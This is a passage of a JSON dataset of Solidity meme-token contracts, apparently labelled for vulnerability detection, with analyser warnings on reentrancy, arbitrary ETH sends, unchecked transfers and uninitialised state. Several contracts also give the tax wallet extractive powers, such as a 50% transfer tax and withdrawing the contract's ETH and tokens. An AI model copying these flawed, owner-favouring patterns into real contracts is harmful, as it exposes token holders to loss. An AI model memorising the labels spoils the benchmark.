_tTotal);\n\n\t\t// reentrancy-benign | ID: 767d814\n\t\t// reentrancy-eth | ID: 67921d0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 767d814\n\t\t// unused-return | ID: f543f4f\n\t\t// reentrancy-eth | ID: 67921d0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 767d814\n\t\t// unused-return | ID: 9b4b4db\n\t\t// reentrancy-eth | ID: 67921d0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 767d814\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 67921d0\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10130.sol",
"size_bytes": 22030,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BuffElondoge is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 865d824): BuffElondoge.bots is never initialized. It is used in BuffElondoge._transfer(address,address,uint256)\n\t// Recommendation for 865d824: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f4efc20): BuffElondoge._taxWallet should be immutable \n\t// Recommendation for f4efc20: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05b5a82): BuffElondoge._initialBuyTax should be constant \n\t// Recommendation for 05b5a82: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d5a24f): BuffElondoge._initialSellTax should be constant \n\t// Recommendation for 4d5a24f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65f44c8): BuffElondoge._reduceBuyTaxAt should be constant \n\t// Recommendation for 65f44c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e40f27): BuffElondoge._reduceSellTaxAt should be constant \n\t// Recommendation for 1e40f27: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab75c63): BuffElondoge._preventSwapBefore should be constant \n\t// Recommendation for ab75c63: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Buff Elondoge\";\n\n string private constant _symbol = unicode\"BUFF\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e8d22e): BuffElondoge._taxSwapThreshold should be constant \n\t// Recommendation for 4e8d22e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3a1f7d): BuffElondoge._maxTaxSwap should be constant \n\t// Recommendation for f3a1f7d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23ba6fa): BuffElondoge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23ba6fa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9cc83dd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9cc83dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0bbe64c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0bbe64c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9cc83dd\n\t\t// reentrancy-benign | ID: 0bbe64c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9cc83dd\n\t\t// reentrancy-benign | ID: 0bbe64c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0e122da): BuffElondoge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0e122da: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0bbe64c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9cc83dd\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 171ec12): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 171ec12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 865d824): BuffElondoge.bots is never initialized. It is used in BuffElondoge._transfer(address,address,uint256)\n\t// Recommendation for 865d824: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0397dba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0397dba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 171ec12\n\t\t\t\t// reentrancy-eth | ID: 0397dba\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 171ec12\n\t\t\t\t\t// reentrancy-eth | ID: 0397dba\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0397dba\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0397dba\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0397dba\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 171ec12\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0397dba\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0397dba\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 171ec12\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9cc83dd\n\t\t// reentrancy-events | ID: 171ec12\n\t\t// reentrancy-benign | ID: 0bbe64c\n\t\t// reentrancy-eth | ID: 0397dba\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b751e90): BuffElondoge.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b751e90: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9cc83dd\n\t\t// reentrancy-events | ID: 171ec12\n\t\t// reentrancy-eth | ID: 0397dba\n\t\t// arbitrary-send-eth | ID: b751e90\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 25ddd57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 25ddd57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ec7444b): BuffElondoge.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ec7444b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 54888c0): BuffElondoge.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 54888c0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8da673e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8da673e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 25ddd57\n\t\t// reentrancy-eth | ID: 8da673e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 25ddd57\n\t\t// unused-return | ID: 54888c0\n\t\t// reentrancy-eth | ID: 8da673e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 25ddd57\n\t\t// unused-return | ID: ec7444b\n\t\t// reentrancy-eth | ID: 8da673e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 25ddd57\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8da673e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9b23af6): BuffElondoge.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 9b23af6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 9b23af6\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10131.sol",
"size_bytes": 21214,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LIAM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d70bb20): LIAM._taxWallet should be immutable \n\t// Recommendation for d70bb20: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0f20f2): LIAM._initialBuyTax should be constant \n\t// Recommendation for d0f20f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: af458a7): LIAM._initialSellTax should be constant \n\t// Recommendation for af458a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfcdcbc): LIAM._finalBuyTax should be constant \n\t// Recommendation for cfcdcbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0185ba7): LIAM._finalSellTax should be constant \n\t// Recommendation for 0185ba7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 651aa5e): LIAM._reduceBuyTaxAt should be constant \n\t// Recommendation for 651aa5e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8698a1a): LIAM._reduceSellTaxAt should be constant \n\t// Recommendation for 8698a1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54b9349): LIAM._preventSwapBefore should be constant \n\t// Recommendation for 54b9349: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"RIP LIAM\";\n\n string private constant _symbol = unicode\"RIPLIAM\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25262e7): LIAM._taxSwapThreshold should be constant \n\t// Recommendation for 25262e7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64ed564): LIAM._maxTaxSwap should be constant \n\t// Recommendation for 64ed564: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 53d46b5): LIAM.uniswapV2Router should be immutable \n\t// Recommendation for 53d46b5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d920823): LIAM.uniswapV2Pair should be immutable \n\t// Recommendation for d920823: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 842be71): LIAM.sellsPerBlock should be constant \n\t// Recommendation for 842be71: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8c14ba): LIAM.buysFirstBlock should be constant \n\t// Recommendation for b8c14ba: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9de4b87): LIAM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9de4b87: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6af0523): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6af0523: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2dbfecb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2dbfecb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6af0523\n\t\t// reentrancy-benign | ID: 2dbfecb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6af0523\n\t\t// reentrancy-benign | ID: 2dbfecb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ca467b9): LIAM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ca467b9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2dbfecb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6af0523\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b0b8b0): Reentrancies (see 